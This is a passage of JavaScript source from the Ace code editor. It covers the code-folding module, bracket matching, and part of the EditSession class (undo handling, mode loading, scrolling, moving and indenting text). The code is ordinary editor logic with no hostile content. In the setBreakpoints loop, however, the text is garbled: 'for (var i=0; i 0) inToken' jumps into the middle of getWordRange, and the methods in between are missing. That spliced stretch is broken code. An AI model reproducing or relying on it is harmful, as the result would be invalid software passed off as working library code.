foldLine.end.row, start = foldLine.start.row; if (end >= last) { if (start < last) { if (start >= first) rowCount -= last-start; else rowCount = 0; // in one fold } break; } else if (end >= first){ if (start >= first) // fold inside range rowCount -= end-start; else rowCount -= end-first+1; } } return rowCount; }; this.$addFoldLine = function(foldLine) { this.$foldData.push(foldLine); this.$foldData.sort(function(a, b) { return a.start.row - b.start.row; }); return foldLine; }; this.addFold = function(placeholder, range) { var foldData = this.$foldData; var added = false; var fold; if (placeholder instanceof Fold) fold = placeholder; else { fold = new Fold(range, placeholder); fold.collapseChildren = range.collapseChildren; } this.$clipRangeToDocument(fold.range); var startRow = fold.start.row; var startColumn = fold.start.column; var endRow = fold.end.row; var endColumn = fold.end.column; if (!(startRow < endRow || startRow == endRow && startColumn <= endColumn - 2)) throw new Error("The range has to be at least 2 characters width"); var startFold = this.getFoldAt(startRow, startColumn, 1); var endFold = this.getFoldAt(endRow, endColumn, -1); if (startFold && endFold == startFold) return startFold.addSubFold(fold); if (startFold && !startFold.range.isStart(startRow, startColumn)) this.removeFold(startFold); if (endFold && !endFold.range.isEnd(endRow, endColumn)) this.removeFold(endFold); var folds = this.getFoldsInRange(fold.range); if (folds.length > 0) { this.removeFolds(folds); folds.forEach(function(subFold) { fold.addSubFold(subFold); }); } for (var i = 0; i < foldData.length; i++) { var foldLine = foldData[i]; if (endRow == foldLine.start.row) { foldLine.addFold(fold); added = true; break; } else if (startRow == foldLine.end.row) { foldLine.addFold(fold); added = true; if (!fold.sameRow) { var foldLineNext = foldData[i + 1]; if (foldLineNext && foldLineNext.start.row == endRow) { foldLine.merge(foldLineNext); break; } } break; } else if (endRow <= foldLine.start.row) { break; } } if (!added) foldLine = this.$addFoldLine(new FoldLine(this.$foldData, fold)); if (this.$useWrapMode) this.$updateWrapData(foldLine.start.row, foldLine.start.row); else this.$updateRowLengthCache(foldLine.start.row, foldLine.start.row); this.$modified = true; this._signal("changeFold", { data: fold, action: "add" }); return fold; }; this.addFolds = function(folds) { folds.forEach(function(fold) { this.addFold(fold); }, this); }; this.removeFold = function(fold) { var foldLine = fold.foldLine; var startRow = foldLine.start.row; var endRow = foldLine.end.row; var foldLines = this.$foldData; var folds = foldLine.folds; if (folds.length == 1) { foldLines.splice(foldLines.indexOf(foldLine), 1); } else if (foldLine.range.isEnd(fold.end.row, fold.end.column)) { folds.pop(); foldLine.end.row = folds[folds.length - 1].end.row; foldLine.end.column = folds[folds.length - 1].end.column; } else if (foldLine.range.isStart(fold.start.row, fold.start.column)) { folds.shift(); foldLine.start.row = folds[0].start.row; foldLine.start.column = folds[0].start.column; } else if (fold.sameRow) { folds.splice(folds.indexOf(fold), 1); } else { var newFoldLine = foldLine.split(fold.start.row, fold.start.column); folds = newFoldLine.folds; folds.shift(); newFoldLine.start.row = folds[0].start.row; newFoldLine.start.column = folds[0].start.column; } if (!this.$updating) { if (this.$useWrapMode) this.$updateWrapData(startRow, endRow); else this.$updateRowLengthCache(startRow, endRow); } this.$modified = true; this._signal("changeFold", { data: fold, action: "remove" }); }; this.removeFolds = function(folds) { var cloneFolds = []; for (var i = 0; i < folds.length; i++) { cloneFolds.push(folds[i]); } cloneFolds.forEach(function(fold) { this.removeFold(fold); }, this); this.$modified = true; }; this.expandFold = function(fold) { this.removeFold(fold); fold.subFolds.forEach(function(subFold) { fold.restoreRange(subFold); this.addFold(subFold); }, this); if (fold.collapseChildren > 0) { this.foldAll(fold.start.row+1, fold.end.row, fold.collapseChildren-1); } fold.subFolds = []; }; this.expandFolds = function(folds) { folds.forEach(function(fold) { this.expandFold(fold); }, this); }; this.unfold = function(location, expandInner) { var range, folds; if (location == null) { range = new Range(0, 0, this.getLength(), 0); expandInner = true; } else if (typeof location == "number") range = new Range(location, 0, location, this.getLine(location).length); else if ("row" in location) range = Range.fromPoints(location, location); else range = location; folds = this.getFoldsInRangeList(range); if (expandInner) { this.removeFolds(folds); } else { var subFolds = folds; while (subFolds.length) { this.expandFolds(subFolds); subFolds = this.getFoldsInRangeList(range); } } if (folds.length) return folds; }; this.isRowFolded = function(docRow, startFoldRow) { return !!this.getFoldLine(docRow, startFoldRow); }; this.getRowFoldEnd = function(docRow, startFoldRow) { var foldLine = this.getFoldLine(docRow, startFoldRow); return foldLine ? foldLine.end.row : docRow; }; this.getRowFoldStart = function(docRow, startFoldRow) { var foldLine = this.getFoldLine(docRow, startFoldRow); return foldLine ? foldLine.start.row : docRow; }; this.getFoldDisplayLine = function(foldLine, endRow, endColumn, startRow, startColumn) { if (startRow == null) startRow = foldLine.start.row; if (startColumn == null) startColumn = 0; if (endRow == null) endRow = foldLine.end.row; if (endColumn == null) endColumn = this.getLine(endRow).length; var doc = this.doc; var textLine = ""; foldLine.walk(function(placeholder, row, column, lastColumn) { if (row < startRow) return; if (row == startRow) { if (column < startColumn) return; lastColumn = Math.max(startColumn, lastColumn); } if (placeholder != null) { textLine += placeholder; } else { textLine += doc.getLine(row).substring(lastColumn, column); } }, endRow, endColumn); return textLine; }; this.getDisplayLine = function(row, endColumn, startRow, startColumn) { var foldLine = this.getFoldLine(row); if (!foldLine) { var line; line = this.doc.getLine(row); return line.substring(startColumn || 0, endColumn || line.length); } else { return this.getFoldDisplayLine( foldLine, row, endColumn, startRow, startColumn); } }; this.$cloneFoldData = function() { var fd = []; fd = this.$foldData.map(function(foldLine) { var folds = foldLine.folds.map(function(fold) { return fold.clone(); }); return new FoldLine(fd, folds); }); return fd; }; this.toggleFold = function(tryToUnfold) { var selection = this.selection; var range = selection.getRange(); var fold; var bracketPos; if (range.isEmpty()) { var cursor = range.start; fold = this.getFoldAt(cursor.row, cursor.column); if (fold) { this.expandFold(fold); return; } else if (bracketPos = this.findMatchingBracket(cursor)) { if (range.comparePoint(bracketPos) == 1) { range.end = bracketPos; } else { range.start = bracketPos; range.start.column++; range.end.column--; } } else if (bracketPos = this.findMatchingBracket({row: cursor.row, column: cursor.column + 1})) { if (range.comparePoint(bracketPos) == 1) range.end = bracketPos; else range.start = bracketPos; range.start.column++; } else { range = this.getCommentFoldRange(cursor.row, cursor.column) || range; } } else { var folds = this.getFoldsInRange(range); if (tryToUnfold && folds.length) { this.expandFolds(folds); return; } else if (folds.length == 1 ) { fold = folds[0]; } } if (!fold) fold = this.getFoldAt(range.start.row, range.start.column); if (fold && fold.range.toString() == range.toString()) { this.expandFold(fold); return; } var placeholder = "..."; if (!range.isMultiLine()) { placeholder = this.getTextRange(range); if (placeholder.length < 4) return; placeholder = placeholder.trim().substring(0, 2) + ".."; } this.addFold(placeholder, range); }; this.getCommentFoldRange = function(row, column, dir) { var iterator = new TokenIterator(this, row, column); var token = iterator.getCurrentToken(); if (token && /^comment|string/.test(token.type)) { var range = new Range(); var re = new RegExp(token.type.replace(/\..*/, "\\.")); if (dir != 1) { do { token = iterator.stepBackward(); } while (token && re.test(token.type)); iterator.stepForward(); } range.start.row = iterator.getCurrentTokenRow(); range.start.column = iterator.getCurrentTokenColumn() + 2; iterator = new TokenIterator(this, row, column); if (dir != -1) { do { token = iterator.stepForward(); } while (token && re.test(token.type)); token = iterator.stepBackward(); } else token = iterator.getCurrentToken(); range.end.row = iterator.getCurrentTokenRow(); range.end.column = iterator.getCurrentTokenColumn() + token.value.length - 2; return range; } }; this.foldAll = function(startRow, endRow, depth) { if (depth == undefined) depth = 100000; // JSON.stringify doesn't hanle Infinity var foldWidgets = this.foldWidgets; if (!foldWidgets) return; // mode doesn't support folding endRow = endRow || this.getLength(); startRow = startRow || 0; for (var row = startRow; row < endRow; row++) { if (foldWidgets[row] == null) foldWidgets[row] = this.getFoldWidget(row); if (foldWidgets[row] != "start") continue; var range = this.getFoldWidgetRange(row); if (range && range.isMultiLine() && range.end.row <= endRow && range.start.row >= startRow ) { row = range.end.row; try { var fold = this.addFold("...", range); if (fold) fold.collapseChildren = depth; } catch(e) {} } } }; this.$foldStyles = { "manual": 1, "markbegin": 1, "markbeginend": 1 }; this.$foldStyle = "markbegin"; this.setFoldStyle = function(style) { if (!this.$foldStyles[style]) throw new Error("invalid fold style: " + style + "[" + Object.keys(this.$foldStyles).join(", ") + "]"); if (this.$foldStyle == style) return; this.$foldStyle = style; if (style == "manual") this.unfold(); var mode = this.$foldMode; this.$setFolding(null); this.$setFolding(mode); }; this.$setFolding = function(foldMode) { if (this.$foldMode == foldMode) return; this.$foldMode = foldMode; this.off('change', this.$updateFoldWidgets); this.off('tokenizerUpdate', this.$tokenizerUpdateFoldWidgets); this._signal("changeAnnotation"); if (!foldMode || this.$foldStyle == "manual") { this.foldWidgets = null; return; } this.foldWidgets = []; this.getFoldWidget = foldMode.getFoldWidget.bind(foldMode, this, this.$foldStyle); this.getFoldWidgetRange = foldMode.getFoldWidgetRange.bind(foldMode, this, this.$foldStyle); this.$updateFoldWidgets = this.updateFoldWidgets.bind(this); this.$tokenizerUpdateFoldWidgets = this.tokenizerUpdateFoldWidgets.bind(this); this.on('change', this.$updateFoldWidgets); this.on('tokenizerUpdate', this.$tokenizerUpdateFoldWidgets); }; this.getParentFoldRangeData = function (row, ignoreCurrent) { var fw = this.foldWidgets; if (!fw || (ignoreCurrent && fw[row])) return {}; var i = row - 1, firstRange; while (i >= 0) { var c = fw[i]; if (c == null) c = fw[i] = this.getFoldWidget(i); if (c == "start") { var range = this.getFoldWidgetRange(i); if (!firstRange) firstRange = range; if (range && range.end.row >= row) break; } i--; } return { range: i !== -1 && range, firstRange: firstRange }; }; this.onFoldWidgetClick = function(row, e) { e = e.domEvent; var options = { children: e.shiftKey, all: e.ctrlKey || e.metaKey, siblings: e.altKey }; var range = this.$toggleFoldWidget(row, options); if (!range) { var el = (e.target || e.srcElement); if (el && /ace_fold-widget/.test(el.className)) el.className += " ace_invalid"; } }; this.$toggleFoldWidget = function(row, options) { if (!this.getFoldWidget) return; var type = this.getFoldWidget(row); var line = this.getLine(row); var dir = type === "end" ? -1 : 1; var fold = this.getFoldAt(row, dir === -1 ? 0 : line.length, dir); if (fold) { if (options.children || options.all) this.removeFold(fold); else this.expandFold(fold); return; } var range = this.getFoldWidgetRange(row, true); if (range && !range.isMultiLine()) { fold = this.getFoldAt(range.start.row, range.start.column, 1); if (fold && range.isEqual(fold.range)) { this.removeFold(fold); return; } } if (options.siblings) { var data = this.getParentFoldRangeData(row); if (data.range) { var startRow = data.range.start.row + 1; var endRow = data.range.end.row; } this.foldAll(startRow, endRow, options.all ? 10000 : 0); } else if (options.children) { endRow = range ? range.end.row : this.getLength(); this.foldAll(row + 1, endRow, options.all ? 10000 : 0); } else if (range) { if (options.all) range.collapseChildren = 10000; this.addFold("...", range); } return range; }; this.toggleFoldWidget = function(toggleParent) { var row = this.selection.getCursor().row; row = this.getRowFoldStart(row); var range = this.$toggleFoldWidget(row, {}); if (range) return; var data = this.getParentFoldRangeData(row, true); range = data.range || data.firstRange; if (range) { row = range.start.row; var fold = this.getFoldAt(row, this.getLine(row).length, 1); if (fold) { this.removeFold(fold); } else { this.addFold("...", range); } } }; this.updateFoldWidgets = function(delta) { var firstRow = delta.start.row; var len = delta.end.row - firstRow; if (len === 0) { this.foldWidgets[firstRow] = null; } else if (delta.action == 'remove') { this.foldWidgets.splice(firstRow, len + 1, null); } else { var args = Array(len + 1); args.unshift(firstRow, 1); this.foldWidgets.splice.apply(this.foldWidgets, args); } }; this.tokenizerUpdateFoldWidgets = function(e) { var rows = e.data; if (rows.first != rows.last) { if (this.foldWidgets.length > rows.first) this.foldWidgets.splice(rows.first, this.foldWidgets.length); } }; } exports.Folding = Folding; }); ace.define("ace/edit_session/bracket_match",["require","exports","module","ace/token_iterator","ace/range"], function(require, exports, module) { "use strict"; var TokenIterator = require("../token_iterator").TokenIterator; var Range = require("../range").Range; function BracketMatch() { this.findMatchingBracket = function(position, chr) { if (position.column == 0) return null; var charBeforeCursor = chr || this.getLine(position.row).charAt(position.column-1); if (charBeforeCursor == "") return null; var match = charBeforeCursor.match(/([\(\[\{])|([\)\]\}])/); if (!match) return null; if (match[1]) return this.$findClosingBracket(match[1], position); else return this.$findOpeningBracket(match[2], position); }; this.getBracketRange = function(pos) { var line = this.getLine(pos.row); var before = true, range; var chr = line.charAt(pos.column-1); var match = chr && chr.match(/([\(\[\{])|([\)\]\}])/); if (!match) { chr = line.charAt(pos.column); pos = {row: pos.row, column: pos.column + 1}; match = chr && chr.match(/([\(\[\{])|([\)\]\}])/); before = false; } if (!match) return null; if (match[1]) { var bracketPos = this.$findClosingBracket(match[1], pos); if (!bracketPos) return null; range = Range.fromPoints(pos, bracketPos); if (!before) { range.end.column++; range.start.column--; } range.cursor = range.end; } else { var bracketPos = this.$findOpeningBracket(match[2], pos); if (!bracketPos) return null; range = Range.fromPoints(bracketPos, pos); if (!before) { range.start.column++; range.end.column--; } range.cursor = range.start; } return range; }; this.$brackets = { ")": "(", "(": ")", "]": "[", "[": "]", "{": "}", "}": "{" }; this.$findOpeningBracket = function(bracket, position, typeRe) { var openBracket = this.$brackets[bracket]; var depth = 1; var iterator = new TokenIterator(this, position.row, position.column); var token = iterator.getCurrentToken(); if (!token) token = iterator.stepForward(); if (!token) return; if (!typeRe){ typeRe = new RegExp( "(\\.?" + token.type.replace(".", "\\.").replace("rparen", ".paren") .replace(/\b(?:end)\b/, "(?:start|begin|end)") + ")+" ); } var valueIndex = position.column - iterator.getCurrentTokenColumn() - 2; var value = token.value; while (true) { while (valueIndex >= 0) { var chr = value.charAt(valueIndex); if (chr == openBracket) { depth -= 1; if (depth == 0) { return {row: iterator.getCurrentTokenRow(), column: valueIndex + iterator.getCurrentTokenColumn()}; } } else if (chr == bracket) { depth += 1; } valueIndex -= 1; } do { token = iterator.stepBackward(); } while (token && !typeRe.test(token.type)); if (token == null) break; value = token.value; valueIndex = value.length - 1; } return null; }; this.$findClosingBracket = function(bracket, position, typeRe) { var closingBracket = this.$brackets[bracket]; var depth = 1; var iterator = new TokenIterator(this, position.row, position.column); var token = iterator.getCurrentToken(); if (!token) token = iterator.stepForward(); if (!token) return; if (!typeRe){ typeRe = new RegExp( "(\\.?" + token.type.replace(".", "\\.").replace("lparen", ".paren") .replace(/\b(?:start|begin)\b/, "(?:start|begin|end)") + ")+" ); } var valueIndex = position.column - iterator.getCurrentTokenColumn(); while (true) { var value = token.value; var valueLength = value.length; while (valueIndex < valueLength) { var chr = value.charAt(valueIndex); if (chr == closingBracket) { depth -= 1; if (depth == 0) { return {row: iterator.getCurrentTokenRow(), column: valueIndex + iterator.getCurrentTokenColumn()}; } } else if (chr == bracket) { depth += 1; } valueIndex += 1; } do { token = iterator.stepForward(); } while (token && !typeRe.test(token.type)); if (token == null) break; valueIndex = 0; } return null; }; } exports.BracketMatch = BracketMatch; }); ace.define("ace/edit_session",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/config","ace/lib/event_emitter","ace/selection","ace/mode/text","ace/range","ace/document","ace/background_tokenizer","ace/search_highlight","ace/edit_session/folding","ace/edit_session/bracket_match"], function(require, exports, module) { "use strict"; var oop = require("./lib/oop"); var lang = require("./lib/lang"); var config = require("./config"); var EventEmitter = require("./lib/event_emitter").EventEmitter; var Selection = require("./selection").Selection; var TextMode = require("./mode/text").Mode; var Range = require("./range").Range; var Document = require("./document").Document; var BackgroundTokenizer = require("./background_tokenizer").BackgroundTokenizer; var SearchHighlight = require("./search_highlight").SearchHighlight; var EditSession = function(text, mode) { this.$breakpoints = []; this.$decorations = []; this.$frontMarkers = {}; this.$backMarkers = {}; this.$markerId = 1; this.$undoSelect = true; this.$foldData = []; this.$foldData.toString = function() { return this.join("\n"); }; this.on("changeFold", this.onChangeFold.bind(this)); this.$onChange = this.onChange.bind(this); if (typeof text != "object" || !text.getLine) text = new Document(text); this.setDocument(text); this.selection = new Selection(this); config.resetOptions(this); this.setMode(mode); config._signal("session", this); }; (function() { oop.implement(this, EventEmitter); this.setDocument = function(doc) { if (this.doc) this.doc.removeListener("change", this.$onChange); this.doc = doc; doc.on("change", this.$onChange); if (this.bgTokenizer) this.bgTokenizer.setDocument(this.getDocument()); this.resetCaches(); }; this.getDocument = function() { return this.doc; }; this.$resetRowCache = function(docRow) { if (!docRow) { this.$docRowCache = []; this.$screenRowCache = []; return; } var l = this.$docRowCache.length; var i = this.$getRowCacheIndex(this.$docRowCache, docRow) + 1; if (l > i) { this.$docRowCache.splice(i, l); this.$screenRowCache.splice(i, l); } }; this.$getRowCacheIndex = function(cacheArray, val) { var low = 0; var hi = cacheArray.length - 1; while (low <= hi) { var mid = (low + hi) >> 1; var c = cacheArray[mid]; if (val > c) low = mid + 1; else if (val < c) hi = mid - 1; else return mid; } return low -1; }; this.resetCaches = function() { this.$modified = true; this.$wrapData = []; this.$rowLengthCache = []; this.$resetRowCache(0); if (this.bgTokenizer) this.bgTokenizer.start(0); }; this.onChangeFold = function(e) { var fold = e.data; this.$resetRowCache(fold.start.row); }; this.onChange = function(delta) { this.$modified = true; this.$resetRowCache(delta.start.row); var removedFolds = this.$updateInternalDataOnChange(delta); if (!this.$fromUndo && this.$undoManager && !delta.ignore) { this.$deltasDoc.push(delta); if (removedFolds && removedFolds.length != 0) { this.$deltasFold.push({ action: "removeFolds", folds: removedFolds }); } this.$informUndoManager.schedule(); } this.bgTokenizer && this.bgTokenizer.$updateOnChange(delta); this._signal("change", delta); }; this.setValue = function(text) { this.doc.setValue(text); this.selection.moveTo(0, 0); this.$resetRowCache(0); this.$deltas = []; this.$deltasDoc = []; this.$deltasFold = []; this.setUndoManager(this.$undoManager); this.getUndoManager().reset(); }; this.getValue = this.toString = function() { return this.doc.getValue(); }; this.getSelection = function() { return this.selection; }; this.getState = function(row) { return this.bgTokenizer.getState(row); }; this.getTokens = function(row) { return this.bgTokenizer.getTokens(row); }; this.getTokenAt = function(row, column) { var tokens = this.bgTokenizer.getTokens(row); var token, c = 0; if (column == null) { i = tokens.length - 1; c = this.getLine(row).length; } else { for (var i = 0; i < tokens.length; i++) { c += tokens[i].value.length; if (c >= column) break; } } token = tokens[i]; if (!token) return null; token.index = i; token.start = c - token.value.length; return token; }; this.setUndoManager = function(undoManager) { this.$undoManager = undoManager; this.$deltas = []; this.$deltasDoc = []; this.$deltasFold = []; if (this.$informUndoManager) this.$informUndoManager.cancel(); if (undoManager) { var self = this; this.$syncInformUndoManager = function() { self.$informUndoManager.cancel(); if (self.$deltasFold.length) { self.$deltas.push({ group: "fold", deltas: self.$deltasFold }); self.$deltasFold = []; } if (self.$deltasDoc.length) { self.$deltas.push({ group: "doc", deltas: self.$deltasDoc }); self.$deltasDoc = []; } if (self.$deltas.length > 0) { undoManager.execute({ action: "aceupdate", args: [self.$deltas, self], merge: self.mergeUndoDeltas }); } self.mergeUndoDeltas = false; self.$deltas = []; }; this.$informUndoManager = lang.delayedCall(this.$syncInformUndoManager); } }; this.markUndoGroup = function() { if (this.$syncInformUndoManager) this.$syncInformUndoManager(); }; this.$defaultUndoManager = { undo: function() {}, redo: function() {}, reset: function() {} }; this.getUndoManager = function() { return this.$undoManager || this.$defaultUndoManager; }; this.getTabString = function() { if (this.getUseSoftTabs()) { return lang.stringRepeat(" ", this.getTabSize()); } else { return "\t"; } }; this.setUseSoftTabs = function(val) { this.setOption("useSoftTabs", val); }; this.getUseSoftTabs = function() { return this.$useSoftTabs && !this.$mode.$indentWithTabs; }; this.setTabSize = function(tabSize) { this.setOption("tabSize", tabSize); }; this.getTabSize = function() { return this.$tabSize; }; this.isTabStop = function(position) { return this.$useSoftTabs && (position.column % this.$tabSize === 0); }; this.$overwrite = false; this.setOverwrite = function(overwrite) { this.setOption("overwrite", overwrite); }; this.getOverwrite = function() { return this.$overwrite; }; this.toggleOverwrite = function() { this.setOverwrite(!this.$overwrite); }; this.addGutterDecoration = function(row, className) { if (!this.$decorations[row]) this.$decorations[row] = ""; this.$decorations[row] += " " + className; this._signal("changeBreakpoint", {}); }; this.removeGutterDecoration = function(row, className) { this.$decorations[row] = (this.$decorations[row] || "").replace(" " + className, ""); this._signal("changeBreakpoint", {}); }; this.getBreakpoints = function() { return this.$breakpoints; }; this.setBreakpoints = function(rows) { this.$breakpoints = []; for (var i=0; i 0) inToken = !!line.charAt(column - 1).match(this.tokenRe); if (!inToken) inToken = !!line.charAt(column).match(this.tokenRe); if (inToken) var re = this.tokenRe; else if (/^\s+$/.test(line.slice(column-1, column+1))) var re = /\s/; else var re = this.nonTokenRe; var start = column; if (start > 0) { do { start--; } while (start >= 0 && line.charAt(start).match(re)); start++; } var end = column; while (end < line.length && line.charAt(end).match(re)) { end++; } return new Range(row, start, row, end); }; this.getAWordRange = function(row, column) { var wordRange = this.getWordRange(row, column); var line = this.getLine(wordRange.end.row); while (line.charAt(wordRange.end.column).match(/[ \t]/)) { wordRange.end.column += 1; } return wordRange; }; this.setNewLineMode = function(newLineMode) { this.doc.setNewLineMode(newLineMode); }; this.getNewLineMode = function() { return this.doc.getNewLineMode(); }; this.setUseWorker = function(useWorker) { this.setOption("useWorker", useWorker); }; this.getUseWorker = function() { return this.$useWorker; }; this.onReloadTokenizer = function(e) { var rows = e.data; this.bgTokenizer.start(rows.first); this._signal("tokenizerUpdate", e); }; this.$modes = {}; this.$mode = null; this.$modeId = null; this.setMode = function(mode, cb) { if (mode && typeof mode === "object") { if (mode.getTokenizer) return this.$onChangeMode(mode); var options = mode; var path = options.path; } else { path = mode || "ace/mode/text"; } if (!this.$modes["ace/mode/text"]) this.$modes["ace/mode/text"] = new TextMode(); if (this.$modes[path] && !options) { this.$onChangeMode(this.$modes[path]); cb && cb(); return; } this.$modeId = path; config.loadModule(["mode", path], function(m) { if (this.$modeId !== path) return cb && cb(); if (this.$modes[path] && !options) { this.$onChangeMode(this.$modes[path]); } else if (m && m.Mode) { m = new m.Mode(options); if (!options) { this.$modes[path] = m; m.$id = path; } this.$onChangeMode(m); } cb && cb(); }.bind(this)); if (!this.$mode) this.$onChangeMode(this.$modes["ace/mode/text"], true); }; this.$onChangeMode = function(mode, $isPlaceholder) { if (!$isPlaceholder) this.$modeId = mode.$id; if (this.$mode === mode) return; this.$mode = mode; this.$stopWorker(); if (this.$useWorker) this.$startWorker(); var tokenizer = mode.getTokenizer(); if(tokenizer.addEventListener !== undefined) { var onReloadTokenizer = this.onReloadTokenizer.bind(this); tokenizer.addEventListener("update", onReloadTokenizer); } if (!this.bgTokenizer) { this.bgTokenizer = new BackgroundTokenizer(tokenizer); var _self = this; this.bgTokenizer.addEventListener("update", function(e) { _self._signal("tokenizerUpdate", e); }); } else { this.bgTokenizer.setTokenizer(tokenizer); } this.bgTokenizer.setDocument(this.getDocument()); this.tokenRe = mode.tokenRe; this.nonTokenRe = mode.nonTokenRe; if (!$isPlaceholder) { if (mode.attachToSession) mode.attachToSession(this); this.$options.wrapMethod.set.call(this, this.$wrapMethod); this.$setFolding(mode.foldingRules); this.bgTokenizer.start(0); this._emit("changeMode"); } }; this.$stopWorker = function() { if (this.$worker) { this.$worker.terminate(); this.$worker = null; } }; this.$startWorker = function() { try { this.$worker = this.$mode.createWorker(this); } catch (e) { config.warn("Could not load worker", e); this.$worker = null; } }; this.getMode = function() { return this.$mode; }; this.$scrollTop = 0; this.setScrollTop = function(scrollTop) { if (this.$scrollTop === scrollTop || isNaN(scrollTop)) return; this.$scrollTop = scrollTop; this._signal("changeScrollTop", scrollTop); }; this.getScrollTop = function() { return this.$scrollTop; }; this.$scrollLeft = 0; this.setScrollLeft = function(scrollLeft) { if (this.$scrollLeft === scrollLeft || isNaN(scrollLeft)) return; this.$scrollLeft = scrollLeft; this._signal("changeScrollLeft", scrollLeft); }; this.getScrollLeft = function() { return this.$scrollLeft; }; this.getScreenWidth = function() { this.$computeWidth(); if (this.lineWidgets) return Math.max(this.getLineWidgetMaxWidth(), this.screenWidth); return this.screenWidth; }; this.getLineWidgetMaxWidth = function() { if (this.lineWidgetsWidth != null) return this.lineWidgetsWidth; var width = 0; this.lineWidgets.forEach(function(w) { if (w && w.screenWidth > width) width = w.screenWidth; }); return this.lineWidgetWidth = width; }; this.$computeWidth = function(force) { if (this.$modified || force) { this.$modified = false; if (this.$useWrapMode) return this.screenWidth = this.$wrapLimit; var lines = this.doc.getAllLines(); var cache = this.$rowLengthCache; var longestScreenLine = 0; var foldIndex = 0; var foldLine = this.$foldData[foldIndex]; var foldStart = foldLine ? foldLine.start.row : Infinity; var len = lines.length; for (var i = 0; i < len; i++) { if (i > foldStart) { i = foldLine.end.row + 1; if (i >= len) break; foldLine = this.$foldData[foldIndex++]; foldStart = foldLine ? foldLine.start.row : Infinity; } if (cache[i] == null) cache[i] = this.$getStringScreenWidth(lines[i])[0]; if (cache[i] > longestScreenLine) longestScreenLine = cache[i]; } this.screenWidth = longestScreenLine; } }; this.getLine = function(row) { return this.doc.getLine(row); }; this.getLines = function(firstRow, lastRow) { return this.doc.getLines(firstRow, lastRow); }; this.getLength = function() { return this.doc.getLength(); }; this.getTextRange = function(range) { return this.doc.getTextRange(range || this.selection.getRange()); }; this.insert = function(position, text) { return this.doc.insert(position, text); }; this.remove = function(range) { return this.doc.remove(range); }; this.removeFullLines = function(firstRow, lastRow){ return this.doc.removeFullLines(firstRow, lastRow); }; this.undoChanges = function(deltas, dontSelect) { if (!deltas.length) return; this.$fromUndo = true; var lastUndoRange = null; for (var i = deltas.length - 1; i != -1; i--) { var delta = deltas[i]; if (delta.group == "doc") { this.doc.revertDeltas(delta.deltas); lastUndoRange = this.$getUndoSelection(delta.deltas, true, lastUndoRange); } else { delta.deltas.forEach(function(foldDelta) { this.addFolds(foldDelta.folds); }, this); } } this.$fromUndo = false; lastUndoRange && this.$undoSelect && !dontSelect && this.selection.setSelectionRange(lastUndoRange); return lastUndoRange; }; this.redoChanges = function(deltas, dontSelect) { if (!deltas.length) return; this.$fromUndo = true; var lastUndoRange = null; for (var i = 0; i < deltas.length; i++) { var delta = deltas[i]; if (delta.group == "doc") { this.doc.applyDeltas(delta.deltas); lastUndoRange = this.$getUndoSelection(delta.deltas, false, lastUndoRange); } } this.$fromUndo = false; lastUndoRange && this.$undoSelect && !dontSelect && this.selection.setSelectionRange(lastUndoRange); return lastUndoRange; }; this.setUndoSelect = function(enable) { this.$undoSelect = enable; }; this.$getUndoSelection = function(deltas, isUndo, lastUndoRange) { function isInsert(delta) { return isUndo ? delta.action !== "insert" : delta.action === "insert"; } var delta = deltas[0]; var range, point; var lastDeltaIsInsert = false; if (isInsert(delta)) { range = Range.fromPoints(delta.start, delta.end); lastDeltaIsInsert = true; } else { range = Range.fromPoints(delta.start, delta.start); lastDeltaIsInsert = false; } for (var i = 1; i < deltas.length; i++) { delta = deltas[i]; if (isInsert(delta)) { point = delta.start; if (range.compare(point.row, point.column) == -1) { range.setStart(point); } point = delta.end; if (range.compare(point.row, point.column) == 1) { range.setEnd(point); } lastDeltaIsInsert = true; } else { point = delta.start; if (range.compare(point.row, point.column) == -1) { range = Range.fromPoints(delta.start, delta.start); } lastDeltaIsInsert = false; } } if (lastUndoRange != null) { if (Range.comparePoints(lastUndoRange.start, range.start) === 0) { lastUndoRange.start.column += range.end.column - range.start.column; lastUndoRange.end.column += range.end.column - range.start.column; } var cmp = lastUndoRange.compareRange(range); if (cmp == 1) { range.setStart(lastUndoRange.start); } else if (cmp == -1) { range.setEnd(lastUndoRange.end); } } return range; }; this.replace = function(range, text) { return this.doc.replace(range, text); }; this.moveText = function(fromRange, toPosition, copy) { var text = this.getTextRange(fromRange); var folds = this.getFoldsInRange(fromRange); var toRange = Range.fromPoints(toPosition, toPosition); if (!copy) { this.remove(fromRange); var rowDiff = fromRange.start.row - fromRange.end.row; var collDiff = rowDiff ? -fromRange.end.column : fromRange.start.column - fromRange.end.column; if (collDiff) { if (toRange.start.row == fromRange.end.row && toRange.start.column > fromRange.end.column) toRange.start.column += collDiff; if (toRange.end.row == fromRange.end.row && toRange.end.column > fromRange.end.column) toRange.end.column += collDiff; } if (rowDiff && toRange.start.row >= fromRange.end.row) { toRange.start.row += rowDiff; toRange.end.row += rowDiff; } } toRange.end = this.insert(toRange.start, text); if (folds.length) { var oldStart = fromRange.start; var newStart = toRange.start; var rowDiff = newStart.row - oldStart.row; var collDiff = newStart.column - oldStart.column; this.addFolds(folds.map(function(x) { x = x.clone(); if (x.start.row == oldStart.row) x.start.column += collDiff; if (x.end.row == oldStart.row) x.end.column += collDiff; x.start.row += rowDiff; x.end.row += rowDiff; return x; })); } return toRange; }; this.indentRows = function(startRow, endRow, indentString) { indentString = indentString.replace(/\t/g, this.getTabString()); for (var row=startRow; row<=endRow; row++) this.doc.insertInLine({row: row, column: 0}, indentString); }; this.outdentRows = function (range) { var rowRange = range.collapseRows(); var deleteRange = new Range(0, 0, 0, 0); var size = this.getTabSize(); for (var i = rowRange.start.row; i <= rowRange.end.row; ++i) { var line = this.getLine(i); deleteRange.start.row = i; deleteRange.end.row = i; for (var j = 0; j < size; ++j) if (line.charAt(j) != ' ') break; if (j < size && line.charAt(j) == '\t') { deleteRange.start.column = j; deleteRange.end.column = j + 1; } else { deleteRange.start.column = 0; deleteRange.end.column = j; } this.remove(deleteRange); } }; this.$moveLines = function(firstRow, lastRow, dir) { firstRow = this.getRowFoldStart(firstRow); lastRow = this.getRowFoldEnd(lastRow); if (dir < 0) { var row = this.getRowFoldStart(firstRow + dir); if (row < 0) return 0; var diff = row-firstRow; } else if (dir > 0) { var row = this.getRowFoldEnd(lastRow + dir); if (row > this.doc.getLength()-1) return 0; var diff = row-lastRow; } else { firstRow = this.$clipRowToDocument(firstRow); lastRow = this.$clipRowToDocument(lastRow); var diff = lastRow - firstRow + 1; } var range = new Range(firstRow, 0, lastRow, Number.MAX_VALUE); var folds = this.getFoldsInRange(range).map(function(x){ x = x.clone(); x.start.row += diff; x.end.row += diff; return x; }); var lines = dir == 0 ? 